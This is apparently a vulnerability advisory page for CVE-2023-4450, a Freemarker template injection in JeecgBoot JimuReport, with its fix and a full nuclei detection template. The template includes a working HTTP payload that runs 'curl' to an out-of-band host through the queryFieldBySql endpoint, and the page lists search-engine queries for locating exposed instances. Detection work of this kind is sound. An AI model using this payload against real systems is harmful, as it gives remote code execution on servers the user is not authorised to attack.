CVE-2023-4450· jeecg / jeecg
JeecgBoot JimuReport - Template injection
criticalseverity
11.6%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it
A vulnerability was found in jeecgboot JimuReport up to 1.6.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Template Handler. The manipulation leads to injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
Impact
Unauthorized api called /jmreport/queryFieldBySql led to remote arbitrary code execution due to parsing SQL statements using Freemarker.
Fix
Upgrading to version 1.6.1 is able to address this issue. It is recommended to upgrade the affected component.
How to confirm it
Send: POST /jeecg-boot/jmreport/queryFieldBySql
Positive when: contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns") and status_code == 200 and contains(content_type,"application/json") and contains(body,"success")Run it with nuclei: nuclei -id CVE-2023-4450 -u <target>
The full check
id: CVE-2023-4450
info:
name: JeecgBoot JimuReport - Template injection
author: Sumanth Vankineni
severity: critical
description: |
A vulnerability was found in jeecgboot JimuReport up to 1.6.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Template Handler. The manipulation leads to injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
impact: |
Unauthorized api called /jmreport/queryFieldBySql led to remote arbitrary code execution due to parsing SQL statements using Freemarker.
remediation: |
Upgrading to version 1.6.1 is able to address this issue. It is recommended to upgrade the affected component.
reference:
- https://github.com/advisories/GHSA-j8h5-8rrr-m6j9
- https://whoopsunix.com/docs/java/named%20module/
- https://nvd.nist.gov/vuln/detail/CVE-2023-4450
classification:
epss-score: 0.11595
epss-percentile: 0.96073
metadata:
verified: true
max-request: 1
vendor: jeecg
product: jeecg
shodan-query:
- title:"Jeecg-Boot"
- http.title:"jeecg-boot"
fofa-query:
- title="JeecgBoot 企业级低代码平台"
- title="jeecg-boot"
- title="jeecgboot 企业级低代码平台"
google-query: intitle:"jeecg-boot"
tags: cve,cve2023,rce,jeecgboot,vkev,vuln
http:
- raw:
- |
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://{{interactsh-url}}\")} ",
"type": "0"
}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
- 'status_code == 200'
- 'contains(content_type,"application/json")'
- 'contains(body,"success")'
condition: andReferences
- https://github.com/advisories/GHSA-j8h5-8rrr-m6j9
- https://whoopsunix.com/docs/java/named%20module/
- https://nvd.nist.gov/vuln/detail/CVE-2023-4450
Use this check only on systems you are authorised to test. Where the data comes from